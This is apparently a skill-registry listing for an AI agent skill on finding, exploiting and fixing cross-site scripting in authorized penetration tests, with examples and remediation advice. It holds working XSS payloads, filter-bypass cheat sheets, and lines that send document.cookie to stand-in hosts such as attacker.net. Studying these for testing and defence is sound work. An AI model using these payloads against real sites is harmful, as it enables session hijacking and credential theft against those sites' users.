xss-detection-and-exploitation

Detect, exploit, and remediate cross-site scripting (XSS) vulnerabilities across all three varieties — reflected, stored, and DOM-based — in web applications under authorized security testing. Use when conducting penetration tests or security assessments that require identifying XSS entry points, constructing context-aware payloads, bypassing input filters, and producing evidence for remediation.

Safety Notice

This listing is from the official public ClawHub registry. Review SKILL.md and referenced scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "xss-detection-and-exploitation" with this command: npx skills add quochungto/bookforge-xss-detection-and-exploitation

Cross-Site Scripting Detection and Exploitation

When to Use

Use this skill when you are conducting authorized penetration testing or application security assessment and need to:

  • Systematically find XSS vulnerabilities across all entry points of a web application
  • Distinguish between reflected, stored, and DOM-based XSS and apply the correct detection method for each
  • Construct payloads matched to the HTML context where input lands
  • Bypass signature-based input filters, sanitization routines, and length limits
  • Demonstrate real impact through session hijacking or other proof-of-concept exploits
  • Provide developers with precise remediation guidance

This skill is framed for defensive and educational purposes. All techniques are to be performed only against systems you own or have explicit written authorization to test.


XSS Taxonomy: Three Varieties

Understanding the mechanical difference between XSS varieties matters because the detection method, severity, and exploitation path differ for each.

Reflected XSS (First-Order XSS)

Mechanism: The application copies user-supplied input directly into an HTTP response. The attacker's payload is delivered and executed in a single round trip — the same request that carries the payload also returns the executing page.

Why it matters: Approximately 75% of real-world XSS. Exploiting it requires inducing a victim to visit a crafted URL. Severity is high but scope of passive victims is lower than stored XSS.

Attack flow:

  1. Attacker constructs a URL containing embedded JavaScript (e.g., ?message=<script>var i=new Image;i.src="//attacker.net/"+document.cookie</script>)
  2. Victim is induced to visit that URL (phishing, email link, banner ad, IMG tag on a third-party site)
  3. Application reflects the parameter into the response without sanitization
  4. Victim's browser executes the script in the application's origin — the same-origin policy grants the script access to the application's cookies
  5. Cookie is transmitted to attacker's collection server; attacker replays it to hijack the session

Key insight: The attacker exploits the XSS vulnerability — not just any arbitrary script host — because the browser's same-origin policy restricts document.cookie access to scripts served from the issuing domain. The malicious script must appear to come from the target application.

Stored XSS (Second-Order XSS, Persistent XSS)

Mechanism: User-supplied data is stored in the application (database, log file, profile field, message body) and later rendered to other users without sanitization.

Why it is more severe than reflected XSS:

  • No victim interaction required beyond normal site use; the victim simply browses to a page that already contains the payload
  • When the stored location is within an authenticated area, every victim is by definition logged in at the moment the payload executes
  • A single stored payload scales to every user who views that page — including administrators
  • Real-world example: The MySpace Samy worm (2005) exploited a stored XSS flaw in user profile pages. The script added Samy as a friend and copied itself to the victim's profile, propagating to nearly one million profiles within hours before MySpace was forced to take the application offline.

Attack flow:

  1. Attacker submits crafted data (e.g., a profile name, forum post, feedback message, uploaded filename, HTTP Referer header, User-Agent) containing a script payload
  2. Application stores it without sanitization
  3. Victim browses to any page that renders that data
  4. Script executes in the victim's browser in the application's origin

DOM-Based XSS

Mechanism: Client-side JavaScript reads attacker-controlled data from the DOM (typically from document.location, document.URL, or document.referrer) and passes it to a dangerous sink (document.write, innerHTML, eval) without sanitization. The server's response never contains the payload — the attack lives entirely in the browser.

Why detection differs: Server-response scanning cannot find DOM-based XSS. The payload may appear only in the URL fragment (#), which browsers never send to the server, making server-side filters irrelevant.

Sources (attacker-controlled DOM inputs):

  • document.location
  • document.URL
  • document.URLUnencoded
  • document.referrer
  • window.location

Sinks (dangerous DOM write operations):

  • document.write() / document.writeln()
  • element.innerHTML
  • eval()
  • window.execScript()
  • window.setInterval() / window.setTimeout()

Attack Payloads: What XSS Can Do

Understanding the impact spectrum helps scope findings accurately and communicate severity to stakeholders.

Payload ClassImpact
Session hijackingSteal session token via document.cookie; replay to impersonate victim
Virtual defacementInject HTML to display false content under the application's domain — far more credible than a phishing clone
Trojan login formInject a fake login form that submits credentials to attacker's server; real application URL shown, valid TLS certificate present
KeyloggingLog keystrokes in real time via injected JavaScript
Autocomplete harvestingInstantiate a form, let the browser autofill saved credentials, then read and exfiltrate field values
Cross-site request actionsForce the victim's browser to perform authenticated actions (bid on auction, change password, add admin account)
Self-propagating wormStored XSS that copies itself to every victim's profile (Samy worm pattern)
Privilege escalation via chainingCombine low-risk stored XSS (only visible to self) with a broken access control flaw (edit other users' display names) to achieve full application compromise

Real-world precedent — Apache Foundation 2010: A reflected XSS in the issue-tracking application was used to steal an administrator's session cookie. The attacker gained admin access, modified upload paths, uploaded a Trojan login page, and captured privileged credentials — ultimately compromising infrastructure beyond the web application itself.


Process: Finding and Exploiting Reflected XSS

Step 1 — Identify reflections of user input

Why: You cannot exploit a vulnerability you have not located. Systematic coverage of all entry points prevents missed findings.

Procedure:

  1. Choose a unique alphabetical test string that does not appear in the application naturally (e.g., myxsstestdmqlwp). Alphabetical characters are unlikely to be filtered.
  2. Submit the string as the value of every parameter on every page, one parameter at a time. Include:
    • URL query string parameters
    • POST body parameters
    • HTTP headers that the application processes: Referer, User-Agent, X-Forwarded-For, Cookie values
  3. Monitor every response for the string's appearance. Each occurrence is a candidate for further investigation.
  4. For POST-triggered reflections, use your proxy (e.g., Burp Suite "Change request method") to test whether the same behavior is triggered by GET — this affects delivery mechanism options.

Step 2 — Determine the syntactic context of each reflection

Why: The payload that works depends entirely on where in the HTML the reflection lands. The wrong payload for the context will fail silently.

ContextWhat you see in sourcePayload approach
Between HTML tags<p>YOURVALUE</p>Inject new tags: <script>alert(1)</script> or event-handler tags
Inside a tag attribute value (quoted)<input value="YOURVALUE">Break out of quotes: "><script>alert(1)</script> or inject event handler: " onfocus="alert(1)
Inside a JavaScript stringvar a = 'YOURVALUE';Break the string: '; alert(1); var foo=' — use // to neutralize trailing syntax if needed
Inside a URL attribute<a href="YOURVALUE">Use javascript:alert(1) pseudo-protocol or inject event handler

Step 3 — Test whether the reflection is exploitable

  1. Review the HTML source (not browser-rendered view) to see exactly where your string lands
  2. Craft a payload matched to that context
  3. Submit the payload; if it appears in the response unmodified, confirm execution by triggering alert(document.cookie) in a browser
  4. If the payload is blocked or sanitized, proceed to filter bypass (Step 4)

Step 4 — Bypass input filters

Three categories of filter behavior, with distinct bypass strategies:

Category A — Signature-based blocking (WAF or application-level) The application returns an error or different response when your payload is submitted.

  • Isolate which characters/expressions trigger blocking by bisecting your payload
  • Switch to an alternative script-introduction method:
    • Event handlers instead of <script> tags: <img onerror=alert(1) src=a>
    • Script pseudo-protocols: <iframe src=javascript:alert(1)>
    • HTML5-specific vectors: <input autofocus onfocus=alert(1)>, <video src=1 onerror=alert(1)>
    • Obfuscate tag names with case variation: <iMg onerror=alert(1) src=a>
    • Insert NULL bytes inside tag names: <i%00mg onerror=alert(1) src=a>
    • Use arbitrary tag names with event handlers: <x onclick=alert(1) src=a>Click</x>
    • Encode attribute values: <img onerror=a&#x6c;ert(1) src=a>
    • Use backtick as attribute delimiter (Internet Explorer): <img onerror=`alert(1)` src=a>
    • Use VBScript (Internet Explorer only) to bypass JavaScript-specific filters: <img onerror="vbs:MsgBox 1" src=a>
    • Use character set encoding (Shift-JIS, UTF-7, UTF-16) if you can influence the Content-Type header or charset parameter

Category B — Sanitization (encoding or stripping) Your payload is returned but modified (e.g., < becomes &lt;).

  • Determine which characters are being sanitized
  • If injecting into an existing JavaScript string, you may not need angle brackets; break out with quote-termination techniques
  • If <script> is stripped but not recursively: <scr<script>ipt>alert(1)</script>
  • If backslash-escaping of quotes: inject \ before the escape so the escape character is itself escaped (foo\'; alert(1);//)
  • If in an event handler attribute, HTML-encode quotes: foo&apos;; alert(1);// — the browser HTML-decodes attribute values before executing JavaScript
  • Use Unicode escapes for JavaScript keywords: <script>a\u006cert(1)</script>
  • Use dynamic string construction: <script>eval('al'+'ert(1)')</script> or String.fromCharCode(97,108,101,114,116,40,49,41)
  • Replace dots: alert(document['cookie']) or with(document)alert(cookie)

Category C — Length truncation Your payload is cut to a maximum character count.

  • Shorten the payload: open("//a/"+document.cookie) (28 bytes for cookie exfiltration)
  • Span the payload across multiple reflected parameters using JavaScript comment delimiters (/* */) so intervening content is treated as a comment
  • Convert the reflected XSS into a DOM-based XSS: inject <script>eval(location.hash.slice(1))</script> into the truncated parameter; place your full payload in the URL fragment (#alert('long payload here')) — the fragment is not sent to the server and bypasses length enforcement

Process: Finding and Exploiting Stored XSS

Stored XSS requires broader thinking because the submission point and the rendering point are decoupled — often separated by time, user role, and application area.

Six-step methodology

Step 1 — Cover all input locations. Submit a unique test string (different per field — concatenate field name + unique string to disambiguate later) to every input that the application might store and later render to another user:

  • Personal information fields (name, address, email, bio, company)
  • Post/comment/message/feedback/question content
  • Uploaded file names and file contents
  • HTTP headers that get logged and displayed: Referer, User-Agent
  • Search terms that appear in "popular searches" lists

Step 2 — Review all output locations, including admin interfaces. After submitting test strings, exhaustively browse all application pages and functions to find where the strings appear. A name field may render in the home page, user directory listing, activity log, messages sidebar, and admin user management console simultaneously — each is a separate candidate.

Why admin interfaces matter: Log review functionality is a classic stored XSS vector. Administrators browse log entries; an attacker who can inject into any field that ends up in a log (including HTTP headers) reaches a high-privilege user automatically.

Step 3 — Complete multistage workflows. Many stored operations require completing a multi-step process: registration, checkout, funds transfer, order placement. Submitting a test string only to page 1 of a 3-page flow may prevent the data from ever being stored. Always follow each workflow to completion.

Step 4 — Test out-of-band channels. For stored XSS, out-of-band input paths are valid attack surfaces. Email-based stored XSS (webmail applications rendering HTML email) is a particularly common and high-impact variant:

  • Send HTML email with XSS payloads to accounts on the application
  • Test with raw MIME messages (using sendmail or similar) to control Content-Type and charset, bypassing sanitization applied by standard email clients

Step 5 — Test file upload functionality. File upload is a frequently overlooked stored XSS vector:

  • Upload an HTML file with an embedded proof-of-concept script
  • If rejected, try alternate extensions (.txt, .jpg) — some applications accept content regardless of extension if another delivery path renders it
  • Test for hybrid file attacks (e.g., GIFAR — a file that is simultaneously a valid GIF and a JAR, exploiting Java applet same-origin trust)
  • Check whether files loaded via Ajax into innerHTML are rendered as HTML regardless of declared Content-Type

Step 6 — Think creatively about indirect storage paths. Popular search term lists, "users who viewed this" aggregations, activity feeds — any mechanism that aggregates and displays user-controlled data to other users is a potential stored XSS surface.


Process: Finding and Exploiting DOM-Based XSS

DOM-based XSS cannot be detected by submitting a test string and scanning the HTTP response. The payload never appears in server traffic.

Detection method

Manual source-to-sink analysis:

  1. Review all client-side JavaScript in the application — both in static HTML pages and dynamically generated pages
  2. Search for every use of URL-sourcing APIs (the sources listed above: document.location, etc.)
  3. Trace the data flow from each source to identify whether it reaches a dangerous sink (document.write, innerHTML, eval, etc.) without sanitization
  4. For each source-to-sink path, craft a URL that injects JavaScript through that path

Why manual analysis is more reliable than black-box probing: A standard test string (e.g., *"><script>alert(1)</script>) only triggers execution if it happens to produce syntactically valid JavaScript at the exact insertion point. DOM-based XSS often requires terminating a specific string delimiter or closing a specific construct — which you can only determine by reading the source.

Browser-assisted testing:

  • Manually walk through the application in a browser, modifying URL parameters to contain test strings: ';alert(1)//`
  • Any dialog box containing cookies confirms a DOM XSS (or reflected XSS) execution
  • Use browser developer tools to inspect the live DOM and identify where your input is landing

Evading server-side filters for DOM XSS:

  • Place the payload in the URL fragment (#): http://app.com/page#<script>alert(1)</script> — browsers do not send the fragment to the server, so server-side filters never see it
  • Append an invented parameter after the vulnerable parameter: client-side scripts often extract everything after param= to the end of the URL, including invented parameters the server ignores

Prevention Guidance (for developers and defensive reviewers)

Why these controls matter — and why they must be applied correctly:

Output encoding (primary control): HTML-encode all user-supplied data at the point of insertion into an HTML response. The encoding must match the syntactic context:

  • HTML body: encode <, >, &, ", '
  • HTML attribute values: encode the same characters; always quote attribute values
  • JavaScript string context: JavaScript-encode (Unicode-escape) the data — HTML encoding is insufficient because the browser HTML-decodes attribute values before executing event handlers
  • URL context: URL-encode the data; then HTML-encode the resulting URL for placement in an href attribute

Content Security Policy: Deploy a Content-Security-Policy response header restricting which script sources the browser will execute. A well-configured policy (e.g., script-src 'self') provides defense-in-depth — it mitigates the impact of XSS vulnerabilities that slip through output encoding, because injected inline scripts and external script loads from untrusted domains are blocked.

HttpOnly cookies: Set the HttpOnly attribute on session cookies. This prevents JavaScript from reading cookie values via document.cookie, directly neutralizing the most common XSS exploitation goal (session hijacking). Note: it does not prevent all XSS attacks — payloads that induce user actions (Trojan forms, cross-site request forgery) remain effective.

Do not rely on input validation or blacklist filters as a primary control. The filter bypass techniques documented above demonstrate that blacklists are inherently incomplete. An attacker has a larger creative surface (every browser quirk, every encoding scheme, every alternative syntax) than a filter writer can anticipate.


Examples

Example 1: Reflected XSS in an Error Page (Attribute Context)

Scenario: A penetration test of a retail web application. The error page at /error returns a message URL parameter verbatim inside an HTML attribute.

Trigger: While mapping the application, submitting test string myxsstest001 to the message parameter — source shows: <input type="hidden" name="debug" value="myxsstest001">. The reflection is inside a quoted attribute value.

Process:

  1. Confirm context: reflection is inside value="..." of an <input> tag
  2. Initial payload to break out: "><script>alert(document.cookie)</script> — verify it appears unmodified in the response
  3. Application blocks <script>: test alternate approach — inject an event handler without closing the tag: " autofocus onfocus="alert(document.cookie)
  4. This payload does not require closing the tag or injecting angle brackets; it passes the filter
  5. Confirm execution in browser; escalate to session hijacking payload: " autofocus onfocus="var i=new Image;i.src='//assessor-server.example.com/log?c='+document.cookie

Output: Reflected XSS confirmed in message parameter, attribute context, exploitable via event handler injection. Filter bypass achieved by avoiding angle brackets. Session token exfiltration demonstrated.


Example 2: Stored XSS via HTTP Referer Header in Admin Log Viewer

Scenario: A security assessment of a content management system. The admin interface displays an access log rendered in-browser. The application stores HTTP Referer header values in the log without sanitization.

Trigger: During stored XSS coverage, submitting test string reftest-REFERER as the Referer header to key pages — when reviewing the admin log interface, reftest-REFERER appears in a table cell. This is a stored XSS candidate in a high-privilege context.

Process:

  1. Identify the log display page URL by authenticating as admin
  2. Craft a request to any application page with Referer: <script>alert(document.cookie)</script>
  3. Check admin log view — script executes
  4. Application sanitizes <script>: switch to <img src=x onerror=alert(document.cookie)>
  5. Confirm execution; escalate to session harvesting payload targeting admin
  6. Document the attack chain: low-privilege action (ordinary web request) → stored in log → executes when admin views log → full admin session compromise

Output: Stored XSS via Referer header confirmed. Payload executes in administrator's browser context without any admin action beyond routine log review. Critical severity.


Example 3: DOM-Based XSS via Fragment Identifier

Scenario: A financial application uses client-side JavaScript to display personalized messages. The page script does var msg = location.hash.substring(1); document.write(msg);. The server never sees the fragment.

Trigger: Code review of the page's JavaScript during DOM XSS source analysis — document.location (source) flows directly to document.write (sink) without sanitization.

Process:

  1. No server-response test will find this; it requires source review
  2. Craft test URL: https://app.example.com/welcome#<img onerror=alert(document.cookie) src=a>
  3. Browser renders the page; client-side script extracts fragment and writes it to DOM; onerror fires; cookie dialog appears
  4. Server-side filter testing: the fragment is never sent to the server, so server-side WAF/filters are irrelevant
  5. Escalate payload to session exfiltration; document the source-to-sink path in the report

Output: DOM-based XSS confirmed. document.location.hash flows unsanitized to document.write. No server-side control can prevent this — client-side output encoding at the document.write call is the required fix.


Quick Reference: Filter Bypass Cheat Sheet

# Avoid <script> tags entirely
<img onerror=alert(1) src=a>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<body onload=alert(1)>

# Case variation to evade simple pattern matching
<iMg OnErRoR=alert(1) src=a>

# NULL byte insertion (Internet Explorer; also bypasses many WAFs)
<i%00mg onerror=alert(1) src=a>

# Attribute delimiter alternatives (Internet Explorer accepts backtick)
<img onerror=`alert(1)` src=a>

# No whitespace between tag name and attributes
<img/onerror=alert(1) src=a>

# HTML encoding in attribute values (browser decodes before executing)
<img onerror=&#x61;lert(1) src=a>

# JavaScript unicode escape in keywords
<script>a\u006cert(1)</script>

# String construction to avoid keyword detection
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

# Avoid dots for property access
alert(document['cookie'])
with(document)alert(cookie)

# Recursive stripping bypass
<scr<script>ipt>alert(1)</scr</script>ipt>

# Fragment-based payload to bypass server-side filters (DOM XSS delivery)
https://app.example.com/page?param=<script>eval(location.hash.slice(1))</script>#alert(document.cookie)

References

License

This skill is licensed under CC-BY-SA-4.0. Source: BookForge — Web Application Hackers Handbook by Unknown.

Related BookForge Skills

This skill is standalone. Browse more BookForge skills: bookforge-skills

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

General

Server Side Injection Testing

Test web application back-end components for non-SQL server-side injection vulnerabilities. Use this skill when: testing for OS command injection via shell m...

Registry SourceRecently Updated
580Profile unavailable
General

Startup Traction Strategy By Phase

Guide startup growth strategy by diagnosing which phase the startup is in (Phase I: making something people want, Phase II: marketing something people want,...

Registry SourceRecently Updated
500Profile unavailable
General

Startup Sales Process

Design startup sales processes using SPIN Selling, A/B/C lead tiering, PNAME qualification, and sales funnel design. Use whenever a founder or sales lead is...

Registry SourceRecently Updated
540Profile unavailable
General

Traction Channel Testing

Design and run cheap validation tests for customer acquisition channels before committing budget. Use whenever a startup founder, growth marketer, or product...

Registry SourceRecently Updated
550Profile unavailable